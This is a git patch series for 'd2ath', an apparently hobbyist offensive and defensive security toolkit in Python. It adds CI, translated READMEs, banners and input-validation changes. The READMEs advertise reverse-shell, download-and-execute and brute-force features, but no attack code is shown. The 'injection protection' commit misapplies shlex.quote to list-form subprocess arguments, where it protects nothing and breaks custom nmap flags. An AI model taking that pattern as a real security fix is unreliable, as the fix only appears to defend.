From 8d56cae184a4764d083b362df0e94328d983c7ad Mon Sep 17 00:00:00 2001
From: Oriononwz
Date: Fri, 10 Apr 2026 09:53:35 +0200
Subject: [PATCH 1/5] chore: improve project structure
- Fix corrupted characters in README
- Add requirements.txt
- Add GitHub Actions CI workflow for lint and test
- Add CI badge to README
---
.github/workflows/python-app.yml | 53 ++++++++++++++++++++++++++++++++
README.md | 11 ++++---
requirements.txt | 1 +
3 files changed, 60 insertions(+), 5 deletions(-)
create mode 100644 .github/workflows/python-app.yml
create mode 100644 requirements.txt
diff --git a/.github/workflows/python-app.yml b/.github/workflows/python-app.yml
new file mode 100644
index 0000000..85b874e
--- /dev/null
+++ b/.github/workflows/python-app.yml
@@ -0,0 +1,53 @@
+name: Python Application
+
+on:
+ push:
+ branches: [ main, master ]
+ pull_request:
+ branches: [ main, master ]
+
+jobs:
+ lint:
+ runs-on: ubuntu-latest
+ strategy:
+ matrix:
+ python-version: ['3.8', '3.9', '3.10', '3.11', '3.12']
+
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Set up Python ${{ matrix.python-version }}
+ uses: actions/setup-python@v5
+ with:
+ python-version: ${{ matrix.python-version }}
+
+ - name: Install dependencies
+ run: |
+ python -m pip install --upgrade pip
+ pip install flake8 pyflakes
+ if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
+
+ - name: Lint with flake8
+ run: |
+ flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
+ flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+
+ - name: Check Python syntax
+ run: |
+ python -m py_compile d2ath.py
+ python -m py_compile colors.py
+
+ test:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Set up Python
+ uses: actions/setup-python@v5
+ with:
+ python-version: '3.x'
+
+ - name: Test import
+ run: |
+ python -c "import d2ath; print('Import OK')"
+ python -c "import colors; print('Colors OK')"
\ No newline at end of file
diff --git a/README.md b/README.md
index cc3d6a8..20c66de 100644
--- a/README.md
+++ b/README.md
@@ -11,6 +11,7 @@
+
@@ -166,12 +167,12 @@ d2ath/
- ✅ Usage personnel sur vos propres systèmes
- ✅ Recherche en cybersécurité
-**Ce programme ne doit pas être utilisé pour :**
-- ❌ Accéder à des systèmes sans autorisation
-- ❌ Activités illégales ou malveillantes
-- ❌ Tout autre usage非éthique ou非légal
+**Ce programme ne doit pas être utilise pour :**
+- ❌ Acceder a systemes sans autorisation
+- ❌ Activites illegales ou malveillantes
+- ❌ Tout autre usage non ethique ou illegal
-**L'auteur ne peut être tenu responsable de toute utilisation 非appropriée.**
+**L'auteur ne peut etre tenu responsable de toute utilisation inappropriatee.**
---
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..aee0e39
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1 @@
+python-magic
\ No newline at end of file
From 99433caa62cb955155b1847b07b734b004743b75 Mon Sep 17 00:00:00 2001
From: Oriononwz
Date: Fri, 10 Apr 2026 16:44:19 +0200
Subject: [PATCH 2/5] =?UTF-8?q?Fix:=20corrections=20bugs=20et=20failles=20?=
=?UTF-8?q?de=20s=C3=A9curit=C3=A9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Corrections effectuées:
- Suppression code mort (os.system(''))
- Ajout validation format IP (regex)
- Ajout validation format domaine (regex)
- Protection injection commandes avec shlex.quote()
- Correction chemin /etc/arch_release -> /etc/arch-release
- Protection index out of bounds sur gateway parsing
- Protection split sur geoip loc (absence de virgule)
- Protection arguments nmap自定义
Améliore la sécurité du outil en validation les entrées utilisateur.
---
d2ath.py | 59 +++++++++++++++++++++++++++++++++++---------------------
1 file changed, 37 insertions(+), 22 deletions(-)
diff --git a/d2ath.py b/d2ath.py
index 85fa591..67f4cb1 100644
--- a/d2ath.py
+++ b/d2ath.py
@@ -8,10 +8,10 @@
import random
import base64
import json
+import shlex
+import re
from pathlib import Path
-os.system("")
-
class C:
HEADER = ""
BLUE = ""
@@ -83,6 +83,9 @@ def get_input_ip(prompt):
else:
print(f"{C.GRAY}[!] Impossible de récupérer mon IP{C.RESET}")
return None
+ if not re.match(r'^[\d.]+$', choice):
+ print(f"{C.GRAY}[!] Format IP invalide{C.RESET}")
+ return None
return choice
def get_input_domain(prompt):
@@ -95,6 +98,9 @@ def get_input_domain(prompt):
print(f"{C.WHITE}[*] Utilisation de mon IP: {C.WHITE}{my_ip}{C.RESET}")
return my_ip
return None
+ if not re.match(r'^[\w.\-]+$', choice):
+ print(f"{C.GRAY}[!] Format domaine invalide{C.RESET}")
+ return None
return choice
CATEGORIES = {
@@ -326,7 +332,7 @@ def tool_whois():
print(f"\n{C.GRAY}[*] Recherche WHOIS sur {target}...{C.RESET}\n")
try:
- result = subprocess.run(["whois", target], capture_output=True, text=True, timeout=10)
+ result = subprocess.run(["whois", shlex.quote(target)], capture_output=True, text=True, timeout=10)
if result.stdout:
print(f"{C.WHITE}{result.stdout[:3000]}{C.RESET}")
else:
@@ -369,8 +375,8 @@ def tool_geoip():
print(f"{C.WHITE}[+] Timezone: {C.WHITE}{data.get('timezone', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] ASN: {C.WHITE}{data.get('org', 'N/A')}{C.RESET}")
- if "loc" in data and data["loc"]:
- lat, lon = data["loc"].split(",")
+ if "loc" in data and data["loc"] and "," in data["loc"]:
+ lat, lon = data["loc"].split(",", 1)
print(f"\n{C.GRAY} Maps: https://www.google.com/maps?q={lat},{lon}{C.RESET}")
except Exception as e:
print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
@@ -393,7 +399,7 @@ def tool_traceroute():
try:
param = "tracert" if sys.platform == "win32" else "traceroute"
- result = subprocess.run([param, target], capture_output=True, text=True, timeout=30)
+ result = subprocess.run([param, shlex.quote(target)], capture_output=True, text=True, timeout=30)
print(f"{C.WHITE}{result.stdout[:2000]}{C.RESET}")
except Exception as e:
print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
@@ -500,14 +506,18 @@ def tool_gateway():
try:
result = subprocess.check_output(["ip", "route", "show", "default"], text=True)
- gw = result.split()[2]
- print(f"{C.WHITE}[+] Passerelle: {C.WHITE}{gw}{C.RESET}")
-
- try:
- hostname = socket.gethostbyaddr(gw)[0]
- print(f"{C.GRAY} DNS inverse: {C.WHITE}{hostname}{C.RESET}")
- except:
- pass
+ parts = result.split()
+ if len(parts) >= 3:
+ gw = parts[2]
+ print(f"{C.WHITE}[+] Passerelle: {C.WHITE}{gw}{C.RESET}")
+
+ try:
+ hostname = socket.gethostbyaddr(gw)[0]
+ print(f"{C.GRAY} DNS inverse: {C.WHITE}{hostname}{C.RESET}")
+ except:
+ pass
+ else:
+ raise ValueError("Format inattendu")
except:
try:
result = subprocess.check_output(["route", "-n"], text=True)
@@ -647,7 +657,7 @@ def tool_netdiscover():
if os.path.exists("/etc/debian_version"):
subprocess.run(["sudo", "apt", "update"], check=True)
subprocess.run(["sudo", "apt", "install", "-y", "netdiscover"], check=True)
- elif os.path.exists("/etc/arch_release"):
+ elif os.path.exists("/etc/arch-release"):
subprocess.run(["sudo", "pacman", "-S", "--noconfirm", "netdiscover"], check=True)
elif os.path.exists("/etc/fedora-release"):
subprocess.run(["sudo", "dnf", "install", "-y", "netdiscover"], check=True)
@@ -1220,13 +1230,18 @@ def tool_nmap():
scan_type = input(f"{C.GRAY}>>> {C.RESET}").strip()
- scans = {
- "1": ["nmap", "-F", target],
- "2": ["nmap", "-A", target],
- "3": ["nmap", "-sS", target],
- "4": ["nmap", "-sU", target],
- "5": ["nmap", get_input("Arguments nmap") or "-sV", target],
- }
+ nmap_args = get_input("Arguments nmap")
+ if nmap_args:
+ nmap_args = shlex.quote(nmap_args)
+ else:
+ nmap_args = "-sV"
+ scans = {
+ "1": ["nmap", "-F", target],
+ "2": ["nmap", "-A", target],
+ "3": ["nmap", "-sS", target],
+ "4": ["nmap", "-sU", target],
+ "5": ["nmap", nmap_args, target],
+ }
cmd = scans.get(scan_type, ["nmap", "-F", target])
From 2e891324848d80fa8c2271cc2e40956a013e1707 Mon Sep 17 00:00:00 2001
From: Oriononwz
Date: Fri, 10 Apr 2026 16:53:17 +0200
Subject: [PATCH 3/5] Update: new banner, README translations
- Added new ASCII banner in d2ath.py (v2.0)
- Created README in 4 languages: EN, FR, ES, DE
- Added banner.txt for GitHub homepage
- Fixed previous security fixes included
---
README.md | 198 ++++++++++++++++++++++++++++++---------------------
README_DE.md | 77 ++++++++++++++++++++
README_ES.md | 77 ++++++++++++++++++++
README_FR.md | 100 ++++++++++++++++++++++++++
banner.txt | 28 ++++++++
d2ath.py | 30 ++++++--
6 files changed, 421 insertions(+), 89 deletions(-)
create mode 100644 README_DE.md
create mode 100644 README_ES.md
create mode 100644 README_FR.md
create mode 100644 banner.txt
diff --git a/README.md b/README.md
index 20c66de..f6dfc5c 100644
--- a/README.md
+++ b/README.md
@@ -1,93 +1,98 @@
-# ██╗███╗ ██╗██╗ ██╗██╗ ██╗███████╗
-# ██║████╗ ██║██║ ██╔╝██║ ██║██╔════╝
-# ██║██╔██╗ ██║█████╔╝ ██║ ██║███████╗
-# ██║██║╚██╗██║██╔═██╗ ██║ ██║╚════██║
-# ██║██║ ╚████║██║ ██╗╚██████╔╝███████║
-# ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝
-# ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
+# d2ath - Security Framework
+
+```
+██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗
+██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝
+██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗
+██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║
+██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║
+╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝
+```
-
- Framework de sécurité ofensiva et défensiva tout-en-un pour Linux.
+ All-in-one offensive and defensive security framework for Linux.
+
+
+
+ All-in-one offensive and defensive security framework for Linux.
---
-## ⚠️ Avertissement
+## ⚠️ Disclaimer
-> **IMPORTANT** : Ce projet est fourni à des fins **éducatives uniquement**.
-> L'auteur **décline toute responsabilité** en cas de mauvaise utilisation de cet outil.
-> Toute action interdite sans consentement explicite est **illégale**.
+> **IMPORTANT**: This project is provided for **educational purposes only**.
+> The author **declines any responsibility** for misuse of this tool.
+> Any unauthorized action without explicit consent is **illegal**.
---
-## 📋 Table des matières
+## 📋 Table of Contents
-- [Fonctionnalités](#-fonctionnalités)
+- [Features](#-features)
- [Installation](#-installation)
-- [Capture d'écran](#-capture-décran)
+- [Screenshots](#-screenshots)
- [Structure](#-structure)
-- [Prérequis](#-prérequis)
-- [Avertissement](#-avertissement)
-- [Licence](#-licence)
+- [Requirements](#-requirements)
+- [Disclaimer](#-disclaimer)
+- [License](#-license)
+- [Translations](#translations)
---
-## 🔧 Fonctionnalités
+## 🔧 Features
-### 📁 Structure par catégorie
+### 📁 Categories
-| Catégorie | Description |
-|-----------|-------------|
-| **Reconnaissance** | Scan de ports, ping scan, DNS lookup, Whois, GeoIP, Traceroute |
-| **Réseau** | Mon IP, IP locale, Netdiscover, Wireshark, Ping, Vérification de port |
-| **Cryptographie** | Générateur de mots de passe, Hash (MD5, SHA256), Base64, URL encode/decode |
-| **Système** | Informations système, Exploration de fichiers |
-| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, Serveur HTTP, Download & Execute, Metasploit |
+| Category | Description |
+|----------|-------------|
+| **Reconnaissance** | Port scan, ping scan, DNS lookup, Whois, GeoIP, Traceroute |
+| **Network** | My IP, Local IP, Netdiscover, Wireshark, Ping, Port check |
+| **Cryptography** | Password generator, Hash (MD5, SHA256), Base64, URL encode/decode |
+| **System** | System info, File explorer |
+| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, HTTP server, Download & Execute, Metasploit |
| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John the Ripper, Hashcat, SQLMap |
-### 🛠️ Outils intégrés
+### 🛠️ Integrated Tools
-- **Scanner de ports** - Scan rapide des ports ouverts
-- **Ping scan** - Découverte des hôtes actifs sur un réseau
-- **DNS Lookup** - Résolution DNS et reverse lookup
-- **GeoIP** - Localisation géographique d'une adresse IP
-- **Netdiscover** - Scan ARP du réseau local
-- **Wireshark** - Analyseur de paquets réseau (tshark/tcpdump)
-- **Nmap** - Scanner de ports avancé
-- **Aircrack-ng** - Suite d'outils pour attaques WiFi
-- **Hydra** - Attaque par force brute sur les services de connexion
-- **SQLMap** - Détection et exploitation d'injections SQL
-- **Et bien plus...**
+- **Port Scanner** - Fast scan of open ports
+- **Ping Scan** - Discover active hosts on a network
+- **DNS Lookup** - DNS resolution and reverse lookup
+- **GeoIP** - Geographic location of an IP address
+- **Netdiscover** - ARP scan of local network
+- **Wireshark** - Network packet analyzer (tshark/tcpdump)
+- **Nmap** - Advanced port scanner
+- **Aircrack-ng** - WiFi attack suite
+- **Hydra** - Brute force attack on login services
+- **SQLMap** - Detection and exploitation of SQL injections
+- **And more...**
---
## 💻 Installation
```bash
-# Cloner le dépôt
+# Clone repository
git clone https://github.com/s1d9e/d2ath.git
-# Entrer dans le répertoire
+# Enter directory
cd d2ath
-# Rendre le script exécutable
+# Make executable
chmod +x d2ath.py
-# Exécuter
+# Run
python3 d2ath.py
```
-### Dépendances (installation automatique si manquantes)
-
-La plupart des dépendances sont installées automatiquement. Pour une installation manuelle :
+### Dependencies (auto-installed if missing)
```bash
# Ubuntu / Debian
@@ -103,34 +108,50 @@ sudo dnf install python3 python3-pip nmap masscan netdiscover wireshark-cli tcpd
---
-## 📷 Capture d'écran
+## 📷 Screenshot
```
-:::::::-. .:::. .,:::::: :::. :::::::::::: :: .:
- ;;, `';, ,;'``;.;;;;'''' ;;`;;;;;;;';;,;; ;;,
- `[[ [[ '' ,[['[[cccc ,[[ '[[, [[ ,[[[,,,[[[
- $$, $$ .c$$P' $$"""" c$$$cc$$$c $$ "$$$""$$$
- 888_,o8P'd88 _,oo,888oo,__ 888 888, 88, 888 "88o
- MMMMP"` MMMUP*"^^""""YUMMMYMM ""` MMM MMM YMM
+ ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██╗ ███████╗███████╗
+ ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██║ ██╔════╝██╔════╝
+ ██║ ██║ ██║██╔██╗ ██║███████╗██║ ██║██║ █████╗ ███████╗
+ ██║ ██║ ██║██║╚██╗██║╚════██║██║ ██║██║ ██╔══╝ ╚════██║
+ ╚██████╗╚██████╔╝██║ ╚████║███████║╚██████╔╝███████╗███████╗███████║
+ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝
+ v2.0
+
+ ╔════════════════════════════════════════════════════════════╗
+ ║ d2ath - Security Framework ║
+ ║ Offensive & Defensive Security Toolkit ║
+ ║ ║
+ ║ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ║
+ ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ║
+ ║ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ║
+ ║ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ║
+ ║ ██║ ██║ ██████╔╝███████╗██║ ██║ ║
+ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ║
+ ║ ║
+ ║ [1] RECON [2] NETWORK [3] CRYPTO ║
+ ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║
+ ╚════════════════════════════════════════════════════════════╝
┌─────────────────────────────────────────┐
- │ SÉLECTIONNER UNE CATÉGORIE │
+ │ SELECT A CATEGORY │
└─────────────────────────────────────────┘
┌─[ 1 ] ▸ RECONNAISSANCE
└─────────────────────────────────────────────╜
- ┌─[ 2 ] ▸ RÉSEAU
+ ┌─[ 2 ] ▸ NETWORK
└─────────────────────────────────────────────╜
- ┌─[ 3 ] ▸ CRYPTOGRAPHIE
+ ┌─[ 3 ] ▸ CRYPTOGRAPHY
└─────────────────────────────────────────────╜
- ┌─[ 4 ] ▸ SYSTÈME
+ ┌─[ 4 ] ▸ SYSTEM
└─────────────────────────────────────────────╜
┌─[ 5 ] ▸ EXPLOITATION
└─────────────────────────────────────────────╜
┌─[ 6 ] ▸ AUDIT
└─────────────────────────────────────────────╜
- ┌─[ q ] Quitter
+ ┌─[ q ] Quit
└────────────────────╜
```
@@ -140,53 +161,64 @@ sudo dnf install python3 python3-pip nmap masscan netdiscover wireshark-cli tcpd
```
d2ath/
-├── d2ath.py # Script principal
-├── colors.py # Module de couleurs (optionnel)
-├── README.md # Ce fichier
-├── LICENSE # Licence MIT
+├── d2ath.py # Main script
+├── README.md # English (main)
+├── README_FR.md # French
+├── README_ES.md # Spanish
+├── README_DE.md # German
+├── LICENSE # MIT License
└── .github/
└── workflows/
- └── lint.yml # GitHub Actions
+ └── lint.yml
```
---
-## 📌 Prérequis
+## 📌 Requirements
- **Python 3.8+**
-- **Système d'exploitation** : Linux (optimisé pour Kali, Ubuntu, Debian, Arch)
-- **Permissions** : root/sudo requis pour certains outils (netdiscover, aircrack-ng, nmap)
+- **OS**: Linux (optimized for Kali, Ubuntu, Debian, Arch)
+- **Permissions**: root/sudo required for some tools (netdiscover, aircrack-ng, nmap)
---
-## ⚠️ Avertissement légal
+## ⚠️ Legal Disclaimer
+
+**This program is intended for:**
+- ✅ Authorized penetration testing
+- ✅ Educational computer security
+- ✅ Personal use on your own systems
+- ✅ Cybersecurity research
+
+**This program must NOT be used for:**
+- ❌ Unauthorized system access
+- ❌ Illegal or malicious activities
+- ❌ Any other unethical or illegal use
-**Ce programme est destiné à :**
-- ✅ Tests de pénétration autorisés
-- ✅ Sécurité informatique éducative
-- ✅ Usage personnel sur vos propres systèmes
-- ✅ Recherche en cybersécurité
+**The author cannot be held responsible for any inappropriate use.**
-**Ce programme ne doit pas être utilise pour :**
-- ❌ Acceder a systemes sans autorisation
-- ❌ Activites illegales ou malveillantes
-- ❌ Tout autre usage non ethique ou illegal
+---
+
+## 📄 License
-**L'auteur ne peut etre tenu responsable de toute utilisation inappropriatee.**
+This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details.
---
-## 📄 Licence
+## 🌐 Translations
-Ce projet est sous licence **MIT**. Voir le fichier [LICENSE](LICENSE) pour plus de détails.
+- [English](README.md) (Main)
+- [Français](README_FR.md)
+- [Español](README_ES.md)
+- [Deutsch](README_DE.md)
---
- Fait avec ❤️ par s1d9e
+ Made with ❤️ by s1d9e
-
+
-
+
\ No newline at end of file
diff --git a/README_DE.md b/README_DE.md
new file mode 100644
index 0000000..1fad062
--- /dev/null
+++ b/README_DE.md
@@ -0,0 +1,77 @@
+# d2ath - Sicherheits-Framework
+
+
+
+
+
+
+
+
+
+ All-in-One-Offensive-und-Defensive-Sicherheits-Framework für Linux.
+
+
+---
+
+## ⚠️ Haftungsausschluss
+
+> **WICHTIG**: Dieses Projekt dient nur zu **Bildungszwecken**.
+> Der Autor **übernimmt keine Verantwortung** für Missbrauch.
+> Jede unbefugte Aktion ist **illegal**.
+
+---
+
+## 📋 Inhaltsverzeichnis
+
+- [Funktionen](#-funktionen)
+- [Installation](#-installation)
+- [Rechtlicher Hinweis](#-rechtlicher-hinweis)
+- [Lizenz](#-lizenz)
+
+---
+
+## 🔧 Funktionen
+
+| Kategorie | Beschreibung |
+|-----------|-------------|
+| **Reconnaissance** | Port-Scan, Ping-Scan, DNS, Whois, GeoIP, Traceroute |
+| **Netzwerk** | Meine IP, Lokale IP, Netdiscover, Wireshark, Ping |
+| **Kryptographie** | Passwort-Generator, Hash (MD5, SHA256), Base64, URL |
+| **System** | System-Info, Datei-Explorer |
+| **Exploitation** | Reverse Shell, Encoder/Decoder, HTTP-Server |
+| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John, SQLMap |
+
+---
+
+## 💻 Installation
+
+```bash
+git clone https://github.com/s1d9e/d2ath.git
+cd d2ath
+chmod +x d2ath.py
+python3 d2ath.py
+```
+
+---
+
+## ⚠️ Rechtlicher Hinweis
+
+**Erlaubte Nutzung:**
+- ✅ Autorisierte Penetrationstests
+- ✅ Bildung im Bereich IT-Sicherheit
+
+**Verbotene Nutzung:**
+- ❌ Unbefugter Zugriff
+- ❌ Illegale Aktivitäten
+
+---
+
+## 📄 Lizenz
+
+**MIT-Lizenz**. Siehe [LICENSE](LICENSE).
+
+---
+
+
+ Mit ❤️ erstellt von s1d9e
+
\ No newline at end of file
diff --git a/README_ES.md b/README_ES.md
new file mode 100644
index 0000000..c797a82
--- /dev/null
+++ b/README_ES.md
@@ -0,0 +1,77 @@
+# d2ath - Marco de Seguridad
+
+
+
+
+
+
+
+
+
+ Marco de seguridad ofensivo y defensivo todo-en-uno para Linux.
+
+
+---
+
+## ⚠️ Aviso
+
+> **IMPORTANTE**: Este proyecto es solo para **fines educativos**.
+> El autor **no se hace responsable** del mal uso de esta herramienta.
+> Cualquier acción no autorizada es **ilegal**.
+
+---
+
+## 📋 Índice
+
+- [Características](#-características)
+- [Instalación](#-instalación)
+- [Aviso legal](#-aviso-legal)
+- [Licencia](#-licencia)
+
+---
+
+## 🔧 Características
+
+| Categoría | Descripción |
+|-----------|-------------|
+| **Reconocimiento** | Escaneo de puertos, ping scan, DNS, Whois, GeoIP, Traceroute |
+| **Red** | Mi IP, IP local, Netdiscover, Wireshark, Ping |
+| **Criptografía** | Generador de passwords, Hash (MD5, SHA256), Base64, URL |
+| **Sistema** | Info del sistema, Explorador de archivos |
+| **Explotación** | Reverse Shell, Encoder/Decoder, Servidor HTTP |
+| **Auditoría** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John, SQLMap |
+
+---
+
+## 💻 Instalación
+
+```bash
+git clone https://github.com/s1d9e/d2ath.git
+cd d2ath
+chmod +x d2ath.py
+python3 d2ath.py
+```
+
+---
+
+## ⚠️ Aviso Legal
+
+**Uso autorizado:**
+- ✅ Pruebas de penetración autorizadas
+- ✅ Educación en seguridad informática
+
+**Uso prohibido:**
+- ❌ Acceso no autorizado
+- ❌ Actividades ilegales
+
+---
+
+## 📄 Licencia
+
+Licencia **MIT**. Ver [LICENSE](LICENSE).
+
+---
+
+
+ Hecho con ❤️ por s1d9e
+
\ No newline at end of file
diff --git a/README_FR.md b/README_FR.md
new file mode 100644
index 0000000..fe0ec7e
--- /dev/null
+++ b/README_FR.md
@@ -0,0 +1,100 @@
+# d2ath - Framework de Sécurité
+
+
+
+
+
+
+
+
+
+ Framework de sécurité offensive et défensive tout-en-un pour Linux.
+
+
+---
+
+## ⚠️ Avertissement
+
+> **IMPORTANT** : Ce projet est fourni à des fins **éducatives uniquement**.
+> L'auteur **décline toute responsabilité** en cas de mauvaise utilisation de cet outil.
+> Toute action interdite sans consentement explicite est **illégale**.
+
+---
+
+## 📋 Table des matières
+
+- [Fonctionnalités](#-fonctionnalités)
+- [Installation](#-installation)
+- [Capture d'écran](#-capture-décran)
+- [Structure](#-structure)
+- [Prérequis](#-prérequis)
+- [Avertissement](#-avertissement)
+- [Licence](#-licence)
+
+---
+
+## 🔧 Fonctionnalités
+
+### 📁 Structure par catégorie
+
+| Catégorie | Description |
+|-----------|-------------|
+| **Reconnaissance** | Scan de ports, ping scan, DNS lookup, Whois, GeoIP, Traceroute |
+| **Réseau** | Mon IP, IP locale, Netdiscover, Wireshark, Ping, Vérification de port |
+| **Cryptographie** | Générateur de mots de passe, Hash (MD5, SHA256), Base64, URL encode/decode |
+| **Système** | Informations système, Exploration de fichiers |
+| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, Serveur HTTP, Download & Execute, Metasploit |
+| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John the Ripper, Hashcat, SQLMap |
+
+---
+
+## 💻 Installation
+
+```bash
+# Cloner le dépôt
+git clone https://github.com/s1d9e/d2ath.git
+
+# Entrer dans le répertoire
+cd d2ath
+
+# Rendre le script exécutable
+chmod +x d2ath.py
+
+# Exécuter
+python3 d2ath.py
+```
+
+### Dépendances
+
+```bash
+# Ubuntu / Debian
+sudo apt update && sudo apt install python3 python3-pip whois curl nmap masscan netdiscover wireshark tshark tcpdump nikto hydra john sqlmap
+
+# Arch Linux
+sudo pacman -S python python-pip whois nmap masscan netdiscover wireshark-cli tcpdump nikto hydra john sqlmap
+```
+
+---
+
+## ⚠️ Avertissement légal
+
+**Usage autorisé :**
+- ✅ Tests de pénétration autorisés
+- ✅ Sécurité informatique éducative
+- ✅ Usage personnel sur vos propres systèmes
+
+**Usage interdit :**
+- ❌ Accès non autorisé à des systèmes
+- ❌ Activités illégales ou malveillantes
+
+---
+
+## 📄 Licence
+
+Ce projet est sous licence **MIT**. Voir [LICENSE](LICENSE).
+
+---
+
+
+ Créé avec ❤️ par s1d9e
+
\ No newline at end of file
diff --git a/banner.txt b/banner.txt
new file mode 100644
index 0000000..ca696c3
--- /dev/null
+++ b/banner.txt
@@ -0,0 +1,28 @@
+██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗
+██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝
+██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗
+██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║
+██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║
+╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝
+
+ ██████╗ ███████╗ █████╗ ██████╗
+ ██╔══██╗██╔════╝██╔══██╗██╔══██╗
+ ██║ ██║█████╗ ███████║██████╔╝
+ ██║ ██║██╔══╝ ██╔══██║██╔══██╗
+ ██████╔╝███████╗██║ ██║██║ ██║
+ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
+
+ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗██████╗
+ ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝██╔══██╗
+ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ██████╔╝ ╚████╔╝ ██████╔╝
+ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ██╔══██╗ ╚██╔╝ ██╔══██╗
+ ██║ ██║ ██████╔╝███████╗██║ ██║ ██████╔╝ ██║ ██████╔╝
+ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝
+
+
+ [1] RECON [2] NETWORK [3] CRYPTO
+ [4] SYSTEM [5] EXPLOIT [6] AUDIT
+ [q] Quit
+
+ v2.0 | Offensive & Defensive Security Toolkit
+ https://github.com/s1d9e/d2ath
\ No newline at end of file
diff --git a/d2ath.py b/d2ath.py
index 67f4cb1..9abe4a2 100644
--- a/d2ath.py
+++ b/d2ath.py
@@ -28,12 +28,30 @@ class C:
BOLD = "\033[1m"
TITLE = [
- C.WHITE + ":::::::-. .:::. .,:::::: :::. :::::::::::: :: .: " + C.RESET,
- C.GRAY + " ;;, `';, ,;'``;.;;;;'''' ;;`;;;;;;;';;,;; ;;, " + C.RESET,
- C.GRAY + " `[[ [[ '' ,[['[[cccc ,[[ '[[, [[ ,[[[,,,[[[ " + C.RESET,
- C.WHITE + ' $$, $$ .c$$P\' $$"""" c$$$cc$$$c $$ "$$$"""$$$ ' + C.RESET,
- C.GRAY + ' 888_,o8P\'d88 _,oo,888oo,__ 888 888, 88, 888 "88o' + C.RESET,
- C.WHITE + ' MMMMP"` MMMUP*"^^""""YUMMMYMM ""` MMM MMM YMM ' + C.RESET,
+ C.WHITE + " ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██╗ ███████╗███████╗" + C.RESET,
+ C.GRAY + " ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██║ ██╔════╝██╔════╝" + C.RESET,
+ C.WHITE + " ██║ ██║ ██║██╔██╗ ██║███████╗██║ ██║██║ █████╗ ███████╗" + C.RESET,
+ C.GRAY + " ██║ ██║ ██║██║╚██╗██║╚════██║██║ ██║██║ ██╔══╝ ╚════██║" + C.RESET,
+ C.WHITE + " ╚██████╗╚██████╔╝██║ ╚████║███████║╚██████╔╝███████╗███████╗███████║" + C.RESET,
+ C.GRAY + " ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝" + C.RESET,
+ C.WHITE + " v2.0" + C.RESET,
+]
+
+LOGO = [
+ C.WHITE + " ╔════════════════════════════════════════════════════════════╗" + C.RESET,
+ C.GRAY + " ║ d2ath - Security Framework ║" + C.RESET,
+ C.WHITE + " ║ Offensive & Defensive Security Toolkit ║" + C.RESET,
+ C.GRAY + " ║ ║" + C.RESET,
+ C.WHITE + " ║ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ║" + C.RESET,
